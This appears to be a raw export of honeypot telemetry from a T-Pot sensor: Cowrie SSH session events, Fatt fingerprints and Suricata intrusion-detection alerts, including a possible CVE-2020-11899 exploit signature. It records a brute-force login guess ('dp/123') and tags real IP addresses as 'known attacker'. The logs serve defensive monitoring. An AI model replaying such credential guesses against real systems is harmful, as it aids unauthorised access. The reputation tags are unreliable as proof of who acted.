29975	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:31:32.50726+03	2021-09-20 14:45:02.411172+03	{"_id": "fQb5AnwBvYTbRNuEuzmk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "29ffc8270a68", "@version": "1", "timestamp": "2021-09-20T11:31:32.507260Z", "@timestamp": "2021-09-20T11:31:32.507Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29976	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:31:33.720591+03	2021-09-20 14:45:02.413141+03	{"_id": "fgb5AnwBvYTbRNuEvzmN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [dp/123] failed", "session": "29ffc8270a68", "@version": "1", "password": "123", "username": "dp", "timestamp": "2021-09-20T11:31:33.720591Z", "@timestamp": "2021-09-20T11:31:33.720Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29977	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:31:35.003316+03	2021-09-20 14:45:02.414141+03	{"_id": "fwb5AnwBvYTbRNuEwzl2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "29ffc8270a68", "@version": "1", "duration": 2.7775368690490723, "timestamp": "2021-09-20T11:31:35.003316Z", "@timestamp": "2021-09-20T11:31:35.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29978	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:31:27.360649+03	2021-09-20 14:45:02.415141+03	{"_id": "cAb5AnwBvYTbRNuEqDka", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "664c8228593a", "@version": "1", "duration": 2.718233346939087, "timestamp": "2021-09-20T11:31:27.360649Z", "@timestamp": "2021-09-20T11:31:27.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29979	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:38.954664+03	2021-09-20 14:45:02.417141+03	{"_id": "hQb5AnwBvYTbRNuE1Dm7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:38.954664Z", "@timestamp": "2021-09-20T11:31:38.954Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
29980	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:39.909092+03	2021-09-20 14:45:02.418141+03	{"_id": "iwb5AnwBvYTbRNuE2Dml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 360}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:39.909092Z", "@timestamp": "2021-09-20T11:31:39.909Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30007	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:31:52.142866+03	2021-09-20 14:45:02.454142+03	{"_id": "2gb6AnwBvYTbRNuEBTnm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:51854 (192.168.176.2:22) [session: 818d17c12765]", "session": "818d17c12765", "@version": "1", "protocol": "ssh", "src_port": 51854, "dest_port": 22, "timestamp": "2021-09-20T11:31:52.142866Z", "@timestamp": "2021-09-20T11:31:52.142Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29981	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:39.908637+03	2021-09-20 14:45:02.42014+03	{"_id": "jQb5AnwBvYTbRNuE2Dmm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 270}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:39.908637Z", "@timestamp": "2021-09-20T11:31:39.908Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
29982	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:39.97745+03	2021-09-20 14:45:02.421141+03	{"_id": "jgb5AnwBvYTbRNuE2Dmm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 450}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:39.977450Z", "@timestamp": "2021-09-20T11:31:39.977Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
29983	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:39.916177+03	2021-09-20 14:45:02.423171+03	{"_id": "igb5AnwBvYTbRNuE2Dml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:39.916177+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 101}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:00fb", "flow_id": 1024484741741265, "payload": "AAAAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgVsb2NhbAAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 5353, "app_proto": "failed", "dest_port": 5353, "timestamp": "2021-09-20T11:31:39.916177Z", "@timestamp": "2021-09-20T11:31:39.916Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............DESKTOP-0VQD61B.local....."}}	1	\N	\N	alert	\N	\N
29984	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:39.906286+03	2021-09-20 14:45:02.424172+03	{"_id": "iQb5AnwBvYTbRNuE2Dml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:39.906286+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 86}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0001", "flow_id": 1605383363482670, "payload": "IAAAAP6AAAAAAAAAJUa1YjrwnwI=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 136, "timestamp": "2021-09-20T11:31:39.906286Z", "@timestamp": "2021-09-20T11:31:39.906Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": " ...........%F.b:..."}}	1	\N	\N	alert	\N	\N
29990	176.122.188.154	109.199.241.180	Fatt	2021-09-20 14:31:44.04598+03	2021-09-20 14:45:02.432141+03	{"_id": "pAb5AnwBvYTbRNuE6Tln", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 53668, "dest_port": 22, "timestamp": "2021-09-20T11:31:44.045980", "@timestamp": "2021-09-20T11:31:44.045Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29985	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:43.874527+03	2021-09-20 14:45:02.425173+03	{"_id": "lQb5AnwBvYTbRNuE5TmA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53668, "timestamp": "2021-09-20T11:31:43.874527", "@timestamp": "2021-09-20T11:31:43.874Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29986	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:31:43.870591+03	2021-09-20 14:45:02.427143+03	{"_id": "mwb5AnwBvYTbRNuE5jmj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:53668 (192.168.176.2:22) [session: d2cf7b1654d1]", "session": "d2cf7b1654d1", "@version": "1", "protocol": "ssh", "src_port": 53668, "dest_port": 22, "timestamp": "2021-09-20T11:31:43.870591Z", "@timestamp": "2021-09-20T11:31:43.870Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29987	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:31:43.87374+03	2021-09-20 14:45:02.428143+03	{"_id": "nAb5AnwBvYTbRNuE5jmj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d2cf7b1654d1", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:31:43.873740Z", "@timestamp": "2021-09-20T11:31:43.873Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29988	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:31:44.046608+03	2021-09-20 14:45:02.430142+03	{"_id": "nQb5AnwBvYTbRNuE5jmj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d2cf7b1654d1", "@version": "1", "timestamp": "2021-09-20T11:31:44.046608Z", "@timestamp": "2021-09-20T11:31:44.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29989	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:31:44.041062+03	2021-09-20 14:45:02.431142+03	{"_id": "nwb5AnwBvYTbRNuE6DlG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 2125216140473557, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53668, "dest_port": 22, "timestamp": "2021-09-20T11:31:44.041062Z", "@timestamp": "2021-09-20T11:31:44.041Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
